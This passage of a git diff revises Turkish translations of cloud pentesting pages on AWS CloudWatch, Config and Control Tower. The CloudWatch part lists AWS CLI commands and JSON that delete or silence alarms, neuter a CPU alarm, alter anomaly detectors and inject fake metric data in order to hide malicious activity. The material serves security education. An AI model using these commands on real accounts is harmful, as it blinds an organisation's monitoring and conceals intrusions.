zirveleri veya ilgi çekici diğer desenleri tespit etmenize olanak tanır; bu, eylemlerin alınması gereken koşulları tanımlamak için **güçlü matematiksel ifadeler** kullanır. Bu kurallar, kaynak performansınızda ve kullanımınızda anormallikleri veya olağandışı davranışları tanımlamanıza yardımcı olabilir. **Yönetilen İçgörü Kuralları**, AWS tarafından sağlanan önceden yapılandırılmış **içgörü kurallarıdır**. Belirli AWS hizmetlerini veya yaygın kullanım durumlarını izlemek için tasarlanmıştır ve ayrıntılı yapılandırma gerektirmeden etkinleştirilebilir. **Örnek Kullanım Durumu**: -- RDS Performansını İzleme: CPU kullanımı, bellek kullanımı ve disk I/O gibi anahtar performans göstergelerini izleyen Amazon RDS için yönetilen bir içgörü kuralını etkinleştirme. Bu ölçümlerden herhangi biri güvenli operasyonel eşikleri aşarsa, kural bir uyarı veya otomatik hafifletme eylemi tetikleyebilir. +- RDS Performansını İzleme: CPU kullanımı, bellek kullanımı ve disk I/O gibi anahtar performans göstergelerini izleyen Amazon RDS için yönetilen bir içgörü kuralını etkinleştirme. Bu metriklerden herhangi biri güvenli operasyonel eşikleri aşarsa, kural bir uyarı veya otomatik hafifletme eylemi tetikleyebilir. -### CloudWatch Günlükleri +### CloudWatch Logları -**Uygulamalardan** ve **sistemlerden** (CloudTrail dahil) **AWS hizmetlerinden** günlükleri **toplayıp izlemeye** olanak tanır ve **uygulamalar/sistemler** (CloudWatch Agent bir hosta kurulabilir). Günlükler **sınırsız süreyle** saklanabilir (Günlük Grubu ayarlarına bağlı olarak) ve dışa aktarılabilir. +**Uygulamalardan** ve **sistemlerden logları** **toplayıp izlemeye** olanak tanır **AWS hizmetleri** (CloudTrail dahil) ve **uygulamalardan/sistemlerden** (**CloudWatch Agent** bir hosta kurulabilir). Loglar **sınırsız süreyle** saklanabilir (Log Grubu ayarlarına bağlı olarak) ve dışa aktarılabilir. **Öğeler**: -| **Günlük Grubu** | Aynı saklama, izleme ve erişim kontrol ayarlarını paylaşan bir **günlük akışları koleksiyonu** | +| **Log Grubu** | Aynı saklama, izleme ve erişim kontrol ayarlarını paylaşan bir **log akışları koleksiyonu** | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Günlük Akışı** | **Aynı kaynaktan** gelen **günlük olaylarının** bir dizisi | -| **Abonelik Filtreleri** | Belirli bir günlük grubundaki olayları eşleştiren bir **filtre deseni tanımlar**, bunları Kinesis Data Firehose akışına, Kinesis akışına veya bir Lambda işlevine gönderir | +| **Log Akışı** | **Aynı kaynağı** paylaşan bir dizi **log olayı** | +| **Abone Filtreleri** | Belirli bir log grubundaki olayları eşleştiren bir **filtre deseni tanımlar**, bunları Kinesis Data Firehose akışına, Kinesis akışına veya bir Lambda işlevine gönderir | ### CloudWatch İzleme & Olaylar -CloudWatch **temel** verileri **her 5 dakikada** toplar (**detaylı** olanı **her 1 dakikada** yapar). Toplama işleminden sonra, bir alarmı tetiklemek için eşikleri **kontrol eder**.\ -Bu durumda, CloudWatch bir olayı göndermeye ve bazı otomatik eylemleri gerçekleştirmeye (AWS lambda işlevleri, SNS konuları, SQS kuyrukları, Kinesis Akışları) hazır olabilir. +CloudWatch **temel** verileri **her 5 dakikada** toplar (**detaylı** olanı **her 1 dakikada** yapar). Toplamadan sonra, **alarmların eşiklerini kontrol eder** ve birini tetiklemesi gerekiyorsa.\ +Bu durumda, CloudWatch bir olayı göndermeye ve bazı otomatik eylemleri gerçekleştirmeye hazırlanabilir (AWS lambda işlevleri, SNS konuları, SQS kuyrukları, Kinesis Akışları) ### Agent Kurulumu -Günlükleri otomatik olarak CloudWatch'a geri göndermek için makinelerinizde/konteynerlerinizde ajanlar kurabilirsiniz. +Logları otomatik olarak CloudWatch'a geri göndermek için makinelerinizde/konteynerlerinizde ajanlar kurabilirsiniz. -- **Bir rol oluşturun** ve **örneği** CloudWatch'un örneklerden veri toplamasına izin veren izinlerle **bağlayın**; ayrıca AWS sistem yöneticisi SSM ile etkileşimde bulunma izni (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) -- **Ajanı** EC2 örneğine **indirin** ve **kurun** ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Bunu EC2 içinden indirebilir veya AWS Sistem Yöneticisi kullanarak otomatik olarak AWS-ConfigureAWSPackage paketini seçerek kurabilirsiniz. -- CloudWatch Ajanını **yapılandırın** ve **başlatın**. +- **Bir rol oluşturun** ve **örneği** CloudWatch'un örneklerden veri toplamasına izin veren izinlerle **bağlayın**; ayrıca AWS sistem yöneticisi SSM ile etkileşimde bulunma (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) +- **Ajanı indirin** ve **EC2 örneğine kurun** ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Bunu EC2 içinden indirebilir veya AWS Sistem Yöneticisi kullanarak otomatik olarak kurabilirsiniz, AWS-ConfigureAWSPackage paketini seçerek. +- CloudWatch Agent'ı **yapılandırın** ve **başlatın**. -Bir günlük grubunun birçok akışı vardır. Bir akışın birçok olayı vardır. Ve her akışın içinde, olayların sıralı olması garanti edilir. +Bir log grubu birçok akışa sahiptir. Bir akış birçok olaya sahiptir. Ve her akışın içinde, olayların sıralı olması garanti edilir. ## Enumeration ```bash @@ -216,9 +216,9 @@ aws events list-event-buses ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -Bu izinlere sahip bir saldırgan, bir organizasyonun izleme ve uyarı altyapısını önemli ölçüde zayıflatabilir. Mevcut alarmları silerek, bir saldırgan kritik performans sorunları, güvenlik ihlalleri veya operasyonel hatalar hakkında yöneticileri bilgilendiren önemli uyarıları devre dışı bırakabilir. Ayrıca, metrik alarmlarını oluşturarak veya değiştirerek, saldırgan yöneticileri yanlış uyarılarla yanıltabilir veya meşru alarmları susturarak, kötü niyetli faaliyetleri gizleyebilir ve gerçek olaylara zamanında yanıt verilmesini engelleyebilir. +Bu izinlere sahip bir saldırgan, bir organizasyonun izleme ve uyarı altyapısını önemli ölçüde zayıflatabilir. Mevcut alarmları silerek, bir saldırgan kritik performans sorunları, güvenlik ihlalleri veya operasyonel arızalar hakkında yöneticileri bilgilendiren önemli uyarıları devre dışı bırakabilir. Ayrıca, metrik alarmlar oluşturarak veya değiştirerek, saldırgan yöneticileri yanlış uyarılarla yanıltabilir veya meşru alarmları susturarak, kötü niyetli faaliyetleri gizleyebilir ve gerçek olaylara zamanında yanıt verilmesini engelleyebilir. -Ayrıca, **`cloudwatch:PutCompositeAlarm`** izni ile bir saldırgan, bileşik alarm A'nın bileşik alarm B'ye, bileşik alarm B'nin de bileşik alarm A'ya bağlı olduğu bir döngü veya döngü oluşturma yeteneğine sahip olacaktır. Bu senaryoda, döngünün bir parçası olan herhangi bir bileşik alarmı silmek mümkün değildir çünkü silmek istediğiniz alarmla her zaman bağlı olan bir bileşik alarm vardır. +Ayrıca, **`cloudwatch:PutCompositeAlarm`** izni ile bir saldırgan, bileşik alarm A'nın bileşik alarm B'ye, bileşik alarm B'nin de bileşik alarm A'ya bağlı olduğu bir döngü veya döngü oluşturma yeteneğine sahip olacaktır. Bu senaryoda, döngünün bir parçası olan herhangi bir bileşik alarmı silmek mümkün değildir çünkü silmek istediğiniz alarmla bağlı olan her zaman hala bir bileşik alarm vardır. ```bash aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ] aws cloudwatch delete-alarms --alarm-names @@ -227,7 +227,7 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- Aşağıdaki örnek, bir metrik alarmını etkisiz hale getirmenin nasıl yapılacağını göstermektedir: - Bu metrik alarmı, belirli bir EC2 örneğinin ortalama CPU kullanımını izler, metriği her 300 saniyede bir değerlendirir ve 6 değerlendirme dönemi gerektirir (toplam 30 dakika). Eğer ortalama CPU kullanımı bu dönemlerin en az 4'ünde %60'ı aşarsa, alarm tetiklenecek ve belirtilen SNS konusuna bir bildirim gönderecektir. -- Eşiği %99'dan fazla olacak şekilde değiştirerek, Periyodu 10 saniye, Değerlendirme Dönemlerini 8640 (çünkü 10 saniyeden 8640 dönem 1 güne eşittir) ve Alarm için Veri Noktalarını da 8640 olarak ayarlayarak, CPU kullanımının 24 saat boyunca her 10 saniyede bir %99'un üzerinde olması gerekecektir ki bu da bir alarmı tetiklesin. +- Eşik değerini %99'dan fazla olacak şekilde değiştirerek, Periyodu 10 saniye, Değerlendirme Dönemlerini 8640 (çünkü 8640 dönem 10 saniye, 1 güne eşittir) ve Alarm için Veri Noktalarını da 8640 olarak ayarlayarak, CPU kullanımının alarmı tetiklemek için 24 saat boyunca her 10 saniyede bir %99'un üzerinde olması gerekecektir. {{#tabs }} {{#tab name="Original Metric Alarm" }} @@ -279,9 +279,9 @@ Aşağıdaki örnek, bir metrik alarmını etkisiz hale getirmenin nasıl yapıl {{#endtab }} {{#endtabs }} -**Potansiyel Etki**: Kritik olaylar için bildirim eksikliği, potansiyel olarak tespit edilmemiş sorunlar, yanlış alarmlar, gerçek alarmları bastırma ve gerçek olayların tespit edilmesinin potansiyel olarak kaçırılması. +**Potansiyel Etki**: Kritik olaylar için bildirim eksikliği, potansiyel olarak tespit edilemeyen sorunlar, yanlış alarmlar, gerçek alarmları bastırma ve gerçek olayların tespit edilmesinin potansiyel olarak kaçırılması. -### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`** +### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions`, `cloudwatch:SetAlarmState`** Alarm eylemlerini silerek, saldırgan kritik alarmların ve otomatik yanıtların tetiklenmesini engelleyebilir; bu, bir alarm durumu ulaşıldığında yöneticileri bilgilendirmek veya otomatik ölçeklendirme faaliyetlerini başlatmak gibi durumları içerir. Alarm eylemlerini uygunsuz bir şekilde etkinleştirmek veya yeniden etkinleştirmek, daha önce devre dışı bırakılmış eylemleri yeniden etkinleştirerek veya hangi eylemlerin tetiklendiğini değiştirerek beklenmedik davranışlara yol açabilir; bu da olay yanıtında kafa karışıklığı ve yanlış yönlendirmeye neden olabilir. @@ -293,7 +293,7 @@ aws cloudwatch disable-alarm-actions --alarm-names aws cloudwatch enable-alarm-actions --alarm-names aws cloudwatch set-alarm-state --alarm-name --state-value --state-reason [--state-reason-data ] ``` -**Potansiyel Etki**: Kritik olaylar için bildirim eksikliği, potansiyel olarak tespit edilemeyen sorunlar, yanlış alarmlar, gerçek alarmları bastırma ve gerçek olayların tespit edilmesinin potansiyel olarak kaçırılması. +**Potansiyel Etki**: Kritik olaylar için bildirim eksikliği, potansiyel olarak tespit edilmemiş sorunlar, yanlış alarmlar, gerçek alarmları bastırma ve gerçek olayların tespit edilmesinin potansiyel olarak kaçırılması. ### **`cloudwatch:DeleteAnomalyDetector`, `cloudwatch:PutAnomalyDetector`** @@ -323,7 +323,7 @@ Aşağıdaki örnek, bir metrik anomali dedektörünü etkisiz hale getirmenin n ``` {{#endtab }} -{{#tab name="Değiştirilmiş Metriği Anomali Tespit Cihazı" }} +{{#tab name="Değiştirilmiş Metriğe Dayalı Anomali Tespit Cihazı" }} ```json { "SingleMetricAnomalyDetector": { @@ -355,7 +355,7 @@ Aşağıdaki örnek, bir metrik anomali dedektörünü etkisiz hale getirmenin n ### **`cloudwatch:DeleteDashboards`, `cloudwatch:PutDashboard`** -Bir saldırgan, panoları oluşturarak, değiştirerek veya silerek bir organizasyonun izleme ve görselleştirme yeteneklerini tehlikeye atabilir. Bu izinler, sistemlerin performansı ve sağlığı hakkında kritik görünürlüğü kaldırmak, panoları yanlış veriler gösterecek şekilde değiştirmek veya kötü niyetli faaliyetleri gizlemek için kullanılabilir. +Bir saldırgan, organizasyonun izleme ve görselleştirme yeteneklerini, panolarını oluşturarak, değiştirerek veya silerek tehlikeye atabilir. Bu izinler, sistemlerin performansı ve sağlığına dair kritik görünürlüğü kaldırmak, panoları yanlış veriler gösterecek şekilde değiştirmek veya kötü niyetli faaliyetleri gizlemek için kullanılabilir. ```bash aws cloudwatch delete-dashboards --dashboard-names aws cloudwatch put-dashboard --dashboard-name --dashboard-body @@ -383,10 +383,10 @@ aws cloudwatch enable-insight-rules --rule-names ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** -**`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** izinlerine sahip bir saldırgan, metrik veri akışlarını oluşturup silerek güvenliği, izlemeyi ve veri bütünlüğünü tehlikeye atabilir: +**`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** izinlerine sahip bir saldırgan, metrik veri akışlarını oluşturup silerek güvenlik, izleme ve veri bütünlüğünü tehlikeye atabilir: - **Kötü niyetli akışlar oluşturma**: Hassas verileri yetkisiz hedeflere göndermek için metrik akışları oluşturma. -- **Kaynak manipülasyonu**: Aşırı veri ile yeni metrik akışlarının oluşturulması, çok fazla gürültü üretebilir ve yanlış uyarılara neden olarak gerçek sorunları maskeleyebilir. +- **Kaynak manipülasyonu**: Aşırı veri ile yeni metrik akışlarının oluşturulması, çok fazla gürültü üretebilir ve yanlış uyarılara neden olarak gerçek sorunları gizleyebilir. - **İzleme kesintisi**: Metrik akışlarını silerek, saldırganlar izleme verilerinin sürekli akışını kesintiye uğratır. Bu şekilde, kötü niyetli faaliyetleri etkili bir şekilde gizlenir. Benzer şekilde, **`cloudwatch:PutMetricData`** izni ile bir metrik akışına veri eklemek mümkün olacaktır. Bu, eklenen uygunsuz veri miktarı nedeniyle bir DoS'a yol açabilir ve tamamen işe yaramaz hale getirebilir. @@ -395,11 +395,11 @@ aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format aws cloudwatch put-metric-data --namespace [--metric-data ] [--metric-name ] [--timestamp ] [--unit ] [--value ] [--dimensions ] ``` -EC2 örneğine karşılık gelen %70 CPU kullanımına ait veri ekleme örneği: +Verilen bir EC2 örneği üzerinde %70 CPU kullanımına karşılık gelen verilerin eklenmesi örneği: ```bash aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg" ``` -**Potansiyel Etki**: İzleme verilerinin akışında kesinti, anormalliklerin ve olayların tespitini etkileyerek, kaynak manipülasyonu ve aşırı metrik akışlarının oluşturulması nedeniyle maliyetlerin artmasına neden olur. +**Potansiyel Etki**: İzleme verilerinin akışında kesintiye yol açarak anormalliklerin ve olayların tespitini etkiler, kaynak manipülasyonu ve aşırı metrik akışlarının oluşturulması nedeniyle maliyetlerin artmasına neden olur. ### **`cloudwatch:StopMetricStreams`, `cloudwatch:StartMetricStreams`** @@ -408,16 +408,16 @@ Bir saldırgan, etkilenen metrik veri akışlarının akışını kontrol edebil aws cloudwatch stop-metric-streams --names aws cloudwatch start-metric-streams --names ``` -**Potansiyel Etki**: İzleme verilerinin akışında kesinti, anormalliklerin ve olayların tespitini etkileyebilir. +**Olası Etki**: İzleme verilerinin akışında kesinti, anormalliklerin ve olayların tespitini etkiler. ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** -Bir saldırgan, CloudWatch kaynaklarından (şu anda yalnızca alarmlar ve Contributor Insights kuralları) etiket ekleyebilir, değiştirebilir veya kaldırabilir. Bu, etiketlere dayalı olarak organizasyonunuzun erişim kontrol politikalarını etkileyebilir. +Bir saldırgan, CloudWatch kaynaklarından (şu anda yalnızca alarmlar ve Contributor Insights kuralları) etiket ekleyebilir, değiştirebilir veya kaldırabilir. Bu, etiketlere dayalı olarak organizasyonunuzun erişim kontrol politikalarını kesintiye uğratabilir. ```bash aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys ``` -**Potansiyel Etki**: Etiket tabanlı erişim kontrol politikalarının kesintiye uğraması. +**Olası Etki**: Etiket tabanlı erişim kontrol politikalarının kesintiye uğraması. ## Referanslar diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md index fb28ac8df..7e6f80341 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-config-enum.md @@ -4,43 +4,43 @@ ## AWS Config -AWS Config **kaynak değişikliklerini kaydeder**, bu nedenle Config tarafından desteklenen bir kaynağa yapılan her değişiklik kaydedilebilir, bu da **değişenleri ve diğer yararlı meta verileri içeren bir dosya olan bir yapılandırma öğesi (configuration item), CI içinde tutulur**. Bu hizmet **bölgeye özgüdür**. +AWS Config **kaynak değişikliklerini yakalar**, bu nedenle Config tarafından desteklenen bir kaynağa yapılan herhangi bir değişiklik kaydedilebilir, bu da **değişenleri ve diğer yararlı meta verileri içeren bir dosya olan bir yapılandırma öğesi** (configuration item, CI) içinde tutulur. Bu hizmet **bölgeye özgüdür**. -Bir yapılandırma öğesi veya **CI** olarak bilinen, AWS Config'in ana bileşenlerinden biridir. Bu, **desteklenen bir kaynağın anlık görüntü görünümü olarak yapılandırma bilgilerini, ilişki bilgilerini ve diğer meta verileri tutan bir JSON dosyasından oluşur**. AWS Config'in bir kaynak için kaydedebileceği tüm bilgiler CI içinde yakalanır. Bir CI, **herhangi bir şekilde** desteklenen bir kaynağın yapılandırmasında bir değişiklik yapıldığında **her seferinde** oluşturulur. Etkilenen kaynağın ayrıntılarını kaydetmenin yanı sıra, AWS Config, bu değişikliğin diğer kaynakları etkilemediğinden emin olmak için doğrudan ilgili kaynaklar için de CI'leri kaydedecektir. +Bir yapılandırma öğesi veya **CI** olarak bilinen, AWS Config'in ana bileşenidir. Bu, **yapılandırma bilgilerini, ilişki bilgilerini ve desteklenen bir kaynağın anlık görüntüsü olarak diğer meta verileri tutan bir JSON dosyasından** oluşur. AWS Config'in bir kaynak için kaydedebileceği tüm bilgiler CI içinde yakalanır. Bir CI, desteklenen bir kaynağın yapılandırmasında herhangi bir değişiklik yapıldığında **her seferinde** oluşturulur. Etkilenen kaynağın ayrıntılarını kaydetmenin yanı sıra, AWS Config, bu değişikliğin diğer kaynakları etkilemediğinden emin olmak için doğrudan ilgili kaynaklar için de CI'leri kaydedecektir. - **Meta Veri**: Yapılandırma öğesinin kendisi hakkında ayrıntılar içerir. CI'yi benzersiz şekilde tanımlayan bir sürüm kimliği ve bir yapılandırma kimliği. Diğer bilgiler, aynı kaynakla karşılaştırmanıza olanak tanıyan bir MD5Hash'ı içerebilir. -- **Öznitelikler**: Bu, gerçek kaynakla ilgili ortak **özellik bilgilerini tutar**. Bu bölümde, ayrıca benzersiz bir kaynak kimliği ve kaynağa bağlı olan herhangi bir anahtar değer etiketi bulunmaktadır. Kaynak türü de listelenir. Örneğin, bu bir EC2 örneği için bir CI ise, listelenen kaynak türleri ağ arayüzü veya o EC2 örneği için elastik IP adresi olabilir. +- **Özellikler**: Bu, gerçek kaynakla ilgili ortak **özellik bilgilerini** tutar. Bu bölümde, ayrıca benzersiz bir kaynak kimliği ve kaynağa bağlı olan herhangi bir anahtar değer etiketi bulunur. Kaynak türü de listelenir. Örneğin, bu bir EC2 örneği için bir CI ise, listelenen kaynak türleri ağ arayüzü veya o EC2 örneği için elastik IP adresi olabilir. - **İlişkiler**: Bu, kaynağın sahip olabileceği herhangi bir bağlı **ilişki hakkında bilgi tutar**. Bu bölümde, bu kaynağın diğer kaynaklarla olan ilişkisini açık bir şekilde tanımlayan bir açıklama gösterilecektir. Örneğin, CI bir EC2 örneği içinse, ilişki bölümü, EC2 örneğinin bulunduğu VPC'ye ve alt ağa olan bağlantıyı gösterebilir. - **Mevcut yapılandırma:** Bu, AWS CLI tarafından yapılan bir tanım veya liste API çağrısı gerçekleştirildiğinde üretilen aynı bilgileri gösterecektir. AWS Config, aynı bilgileri almak için aynı API çağrılarını kullanır. -- **İlgili olaylar**: Bu, AWS CloudTrail ile ilgilidir. Bu, **bu CI'nin oluşturulmasına neden olan değişiklikle ilgili AWS CloudTrail olay kimliğini gösterecektir**. Bir kaynağa yapılan her değişiklik için yeni bir CI oluşturulur. Sonuç olarak, farklı CloudTrail olay kimlikleri oluşturulacaktır. +- **İlgili olaylar**: Bu, AWS CloudTrail ile ilgilidir. Bu, **bu CI'nin oluşturulmasına neden olan değişiklikle ilgili AWS CloudTrail olay kimliğini** gösterecektir. Bir kaynağa yapılan her değişiklik için yeni bir CI oluşturulur. Sonuç olarak, farklı CloudTrail olay kimlikleri oluşturulacaktır. **Yapılandırma Geçmişi**: Yapılandırma öğeleri sayesinde kaynakların yapılandırma geçmişini elde etmek mümkündür. Bir yapılandırma geçmişi her 6 saatte bir teslim edilir ve belirli bir kaynak türü için tüm CI'leri içerir. **Yapılandırma Akışları**: Yapılandırma öğeleri, verilerin analizini sağlamak için bir SNS Konusuna gönderilir. -**Yapılandırma Anlık Görüntüleri**: Yapılandırma öğeleri, tüm desteklenen kaynakların anlık görüntüsünü oluşturmak için kullanılır. +**Yapılandırma Anlık Görüntüleri**: Yapılandırma öğeleri, desteklenen tüm kaynakların anlık görüntüsünü oluşturmak için kullanılır. -**S3,** yapılandırma geçmişi dosyalarını ve verilerinizin herhangi bir yapılandırma anlık görüntüsünü tek bir kovada saklamak için kullanılır; bu kova yapılandırma kaydedicisinde tanımlanmıştır. Birden fazla AWS hesabınız varsa, yapılandırma geçmişi dosyalarınızı birincil hesabınız için aynı S3 kovasında toplamak isteyebilirsiniz. Ancak, bu hizmet ilkesi için yazma erişimi vermeniz gerekecek, config.amazonaws.com ve birincil hesabınızdaki S3 kovasına yazma erişimi olan ikincil hesaplarınız. +**S3,** yapılandırma geçmişi dosyalarını ve verilerinizin herhangi bir yapılandırma anlık görüntüsünü tek bir kovada saklamak için kullanılır; bu kova yapılandırma kaydedici içinde tanımlanır. Birden fazla AWS hesabınız varsa, yapılandırma geçmişi dosyalarınızı birincil hesabınız için aynı S3 kovasında toplamak isteyebilirsiniz. Ancak, bu hizmet ilkesi olan config.amazonaws.com için yazma erişimi vermeniz ve birincil hesabınızdaki S3 kovasına yazma erişimi olan ikincil hesaplarınızı ayarlamanız gerekecektir. ### İşleyiş - Değişiklik yaptığınızda, örneğin güvenlik grubu veya kova erişim kontrol listesi —> AWS Config tarafından alınan bir Olay olarak tetiklenir - Her şeyi S3 kovasında saklar - Kuruluma bağlı olarak, bir şey değiştiğinde bir lambda işlevini tetikleyebilir veya AWS Config ayarlarını periyodik olarak kontrol etmek için bir lambda işlevi planlayabilir -- Lambda, Config'e geri besleme yapar +- Lambda, Config'e geri bildirimde bulunur - Kural ihlal edilmişse, Config bir SNS tetikler ![](<../../../../images/image (126).png>) ### Config Kuralları -Config kuralları, **kaynaklarınız arasında belirli uyum kontrollerini** **uygulamanıza yardımcı olmanın harika bir yoludur** ve her bir kaynak türü için ideal bir dağıtım spesifikasyonu benimsemenizi sağlar. Her kural **temelde bir lambda işlevidir** ve çağrıldığında kaynağı değerlendirir ve kural ile uyum sonucunu belirlemek için bazı basit mantık yürütür. **Desteklenen kaynaklarınızdan birinde bir değişiklik yapıldığında,** **AWS Config, mevcut olan herhangi bir config kuralına karşı uyumu kontrol edecektir**.\ -AWS, kullanıma hazır olan güvenlik şemsiyesi altındaki bir dizi **önceden tanımlanmış kural** sunmaktadır. Örneğin, Rds-storage-encrypted. Bu, depolama şifrelemesinin RDS veritabanı örnekleriniz tarafından etkinleştirilip etkinleştirilmediğini kontrol eder. Encrypted-volumes. Bu, bağlı durumda olan herhangi bir EBS hacminin şifrelenip şifrelenmediğini kontrol eder. +Config kuralları, **kaynaklarınız arasında belirli uyum kontrollerini** **uygulamanıza yardımcı olmanın harika bir yoludur** ve her bir kaynak türü için ideal bir dağıtım spesifikasyonu benimsemenizi sağlar. Her kural **temelde bir lambda işlevidir** ve çağrıldığında kaynağı değerlendirir ve kural ile uyum sonucunu belirlemek için bazı basit mantık yürütür. **Desteklenen kaynaklarınızdan birinde her değişiklik yapıldığında,** **AWS Config, mevcut olan herhangi bir config kuralına karşı uyumu kontrol edecektir.**\ +AWS, kullanıma hazır olan güvenlik şemsiyesi altındaki bir dizi **önceden tanımlanmış kural** sunmaktadır. Örneğin, Rds-storage-encrypted. Bu, RDS veritabanı örneklerinizin depolama şifrelemesinin etkin olup olmadığını kontrol eder. Encrypted-volumes. Bu, bağlı durumda olan herhangi bir EBS hacminin şifrelenip şifrelenmediğini kontrol eder. -- **AWS Yönetilen kurallar**: Birçok en iyi uygulamayı kapsayan önceden tanımlanmış kurallar seti, bu nedenle kendi kurallarınızı ayarlamadan önce bu kuralları gözden geçirmek her zaman faydalıdır çünkü kuralın zaten mevcut olma ihtimali vardır. +- **AWS Yönetilen kurallar**: Birçok en iyi uygulamayı kapsayan önceden tanımlanmış kurallar seti, bu nedenle kendi kurallarınızı ayarlamadan önce bu kuralları gözden geçirmek her zaman faydalıdır; çünkü kuralın zaten mevcut olma ihtimali vardır. - **Özel kurallar**: Belirli özel yapılandırmaları kontrol etmek için kendi kurallarınızı oluşturabilirsiniz. -Bölge başına 50 config kuralı sınırı vardır, artırma için AWS ile iletişime geçmeniz gerekir.\ +Bölge başına 50 config kuralı sınırı vardır; artırma için AWS ile iletişime geçmeniz gerekir.\ Uyumsuz sonuçlar SILİNMEZ. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md index d05dd421b..96ae9e2c0 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-control-tower-enum.md @@ -7,19 +7,19 @@ > [!NOTE] > Özetle, Control Tower, organizasyonunuz içindeki tüm hesaplar için politikalar tanımlamanıza olanak tanıyan bir hizmettir. Yani her birini yönetmek yerine, Control Tower'dan uygulanacak politikalar belirleyebilirsiniz. -AWS Control Tower, **Amazon Web Services (AWS)** tarafından sağlanan bir **hizmettir** ve organizasyonların AWS'de güvenli, uyumlu, çok hesaplı bir ortam kurmasını ve yönetmesini sağlar. +AWS Control Tower, **Amazon Web Services (AWS)** tarafından sağlanan bir **hizmettir** ve organizasyonların AWS'de güvenli, uyumlu, çoklu hesap ortamı kurmasını ve yönetmesini sağlar. -AWS Control Tower, belirli **organizasyonel gereksinimleri** karşılamak için özelleştirilebilen **önceden tanımlanmış en iyi uygulama şablonları** sunar. Bu şablonlar, AWS Tek Oturum Açma (SSO), AWS Config, AWS CloudTrail ve AWS Service Catalog gibi önceden yapılandırılmış AWS hizmetlerini ve özelliklerini içerir. +AWS Control Tower, belirli **organizasyonel gereksinimleri** karşılamak için özelleştirilebilen **önceden tanımlanmış en iyi uygulama şablonları** sunar. Bu şablonlar, AWS Single Sign-On (SSO), AWS Config, AWS CloudTrail ve AWS Service Catalog gibi önceden yapılandırılmış AWS hizmetlerini ve özelliklerini içerir. -AWS Control Tower ile yöneticiler, **güvenlik** ve uyum gibi organizasyonel gereksinimleri karşılayan bir **çok hesaplı ortamı** hızlı bir şekilde kurabilirler. Hizmet, hesapları ve kaynakları görüntülemek ve yönetmek için merkezi bir gösterge paneli sağlar ve ayrıca hesapların, hizmetlerin ve politikaların sağlanmasını otomatikleştirir. +AWS Control Tower ile yöneticiler, **güvenlik** ve uyum gibi organizasyonel gereksinimleri karşılayan bir **çoklu hesap ortamını** hızlı bir şekilde kurabilirler. Hizmet, hesapları ve kaynakları görüntülemek ve yönetmek için merkezi bir gösterge paneli sağlar ve ayrıca hesapların, hizmetlerin ve politikaların sağlanmasını otomatikleştirir. -Ayrıca, AWS Control Tower, organizasyonel gereksinimlerle uyumlu kalmasını sağlamak için önceden yapılandırılmış politikalar olan koruma rayları sağlar. Bu politikalar, belirli ihtiyaçları karşılamak için özelleştirilebilir. +Ayrıca, AWS Control Tower, organizasyonel gereksinimlerle uyumlu kalmasını sağlamak için önceden yapılandırılmış politikalar olan koruma rayları sağlar. Bu politikalar, belirli ihtiyaçlara göre özelleştirilebilir. -Genel olarak, AWS Control Tower, AWS'de güvenli, uyumlu, çok hesaplı bir ortam kurma ve yönetme sürecini basitleştirir, böylece organizasyonların temel iş hedeflerine odaklanmasını kolaylaştırır. +Genel olarak, AWS Control Tower, AWS'de güvenli, uyumlu, çoklu hesap ortamı kurma ve yönetme sürecini basitleştirir, böylece organizasyonların temel iş hedeflerine odaklanmasını kolaylaştırır. ### Enumeration -Control Tower kontrollerini saymak için önce **organizasyonu saymış olmanız gerekir**: +Control Tower kontrollerini saymak için önce **organizasyonu saymış olmalısınız**: {{#ref}} ../aws-organizations-enum.md @@ -29,7 +29,7 @@ Control Tower kontrollerini saymak için önce **organizasyonu saymış olmanız aws controltower list-enabled-controls --target-identifier arn:aws:organizations:::ou/ ``` > [!WARNING] -> Control Tower ayrıca **Hesap fabrikası** kullanarak **CloudFormation şablonlarını** **hesaplarda çalıştırabilir ve bu hesaplarda hizmetler** (privesc, post-exploitation...) yürütebilir. +> Control Tower ayrıca 